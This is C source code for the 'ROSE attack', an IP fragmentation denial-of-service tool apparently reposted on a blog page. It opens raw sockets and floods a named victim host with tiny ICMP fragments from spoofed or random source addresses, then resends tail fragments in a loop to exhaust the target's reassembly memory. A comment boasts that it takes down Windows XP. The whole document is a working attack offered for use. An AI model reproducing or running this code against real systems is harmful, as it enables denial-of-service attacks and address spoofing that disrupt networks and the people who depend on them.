/*** ROSE attack (variation 2) (chuck (at) lemure.net) Discovered by: gandalf (at) digital.net code modified from large IGMP attack by: Kox by Coolio (coolio (at) k-r4d.com) Sends out small IP fragments totalling up to a large ICMP packet. Then repeatedly sends last IP Fragment forcing reassembly code to traverse to last IP fragment in order to do a free() followed by a malloc(). Or so it seems. Reportedly works for TCP / UDP as well, since this is a IP layer attack. ***/ /* just a thousand kills win XP */ #define NUM_PACKETS 100 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <netdb.h> #include <string.h> #include <errno.h> #include <pwd.h> #include <time.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/utsname.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/ip_icmp.h> void usage(char *arg) { printf("Rose attack/n"); printf("Usage: %s <victim> [source]/n", arg); printf("If source not specified, will send out from random ip's/n"); exit(1); } unsigned int randip() { struct hostent *he; struct sockaddr_in sin; char *buf = (char *)calloc(1, sizeof(char) * 16); sprintf(buf, "%d.%d.%d.%d", (random()%191)+23, (random()%253)+1, (random()%253)+1, (random()%253)+1); return inet_addr(buf); } unsigned short in_cksum(unsigned short *buh, int len) { register long sum = 0; unsigned short oddbyte; register unsigned short answer; while(len > 1) { sum += *buh++; len -= 2; } if(len == 1) { oddbyte = 0; *((unsigned char *)&oddbyte) = *(unsigned char *)buh; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); answer = ~sum; return answer; } int fire_away(struct sockaddr_in *victim, unsigned long src) { int SMALLICMP = 1; unsigned char *pkt; struct iphdr *ip; struct igmphdr *igmp; struct icmphdr *icmp_pkt; struct utsname *un; struct passwd *p; int idList[NUM_PACKETS]; unsigned long j; int i, s; int id = (random() % 40000) + 500; for (i=0;i<NUM_PACKETS;i++) idList[i]=(random() % 40000) + 500; pkt = (unsigned char *)calloc(1, SMALLICMP + sizeof(struct iphdr) + sizeof(struct icmphdr)); ip = (struct iphdr *)pkt; icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr)); ip->version = 4; ip->ihl = (sizeof *ip) / 4; ip->ttl = 255; ip->tot_len = htons(SMALLICMP); ip->protocol = 1; ip->id = htons(id); ip->frag_off = htons(IP_MF); ip->saddr = src; ip->daddr = victim->sin_addr.s_addr; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); icmp_pkt->type = ICMP_ECHO; icmp_pkt->code = 0; icmp_pkt->checksum = 1000; icmp_pkt->un.echo.id = random() % 255; icmp_pkt->un.echo.sequence = random() % 255; for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1; i < SMALLICMP; i++){ pkt[i] = random() % 255; } if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("error: socket()"); return 1; } printf(" Sending out series of small fragments/r/n"); for(i=0;i<NUM_PACKETS;i++){ ip->id = htons(idList[i]); for (j=0; j<8170; j += SMALLICMP + 1){ ip->frag_off = htons(j | IP_MF); if(sendto(s, pkt, SMALLICMP + sizeof(struct iphdr), 0, (struct sockaddr *)victim, sizeof(struct sockaddr_in)) == -1) { perror("error: sendto()"); return 1; } } } printf(" Sending out tailing fragments/r/n"); /* big frag at end... */ /* sending a large amount of the end fragments over and over. This is definitely overkill, but seems to work */ for (j=0;j<9999*NUM_PACKETS;j++){ for(i=0;i<NUM_PACKETS;i++){ ip->id=htons(idList[i]); ip->frag_off = htons(8190|IP_MF); //ip->frag_off = htons(8100 | IP_MF); sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP, 0, (struct sockaddr *)victim, sizeof(struct sockaddr_in)); /* if you do sleep, CPU usage goes way down. But memory usage still creeps upward */ //usleep(100); //sleep after every trailing packet } usleep(100); //sleep after every series of NUM_PACKETS } free(pkt); close(s); return 0; } int main(int argc, char *argv[]) { struct sockaddr_in victim; struct hostent *he; unsigned long source; int i; srandom(time(NULL)); if(argc < 2) usage(argv[0]); if((he = gethostbyname(argv[1])) == NULL) { herror(argv[1]); exit(1); } if (argc > 2){ source = inet_addr(argv[2]); } else { source = randip(); } memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length); victim.sin_port = htons(0); victim.sin_family = PF_INET; printf("Sending ICMP fragments: /r/n"); fflush(stdout); fire_away(&victim, source); if (argc < 3){ source = randip(); } fflush(stdout); printf("/nDONE/n"); fflush(stdout); }
NewDAwn.c
最新推荐文章于 2021-07-03 17:45:46 发布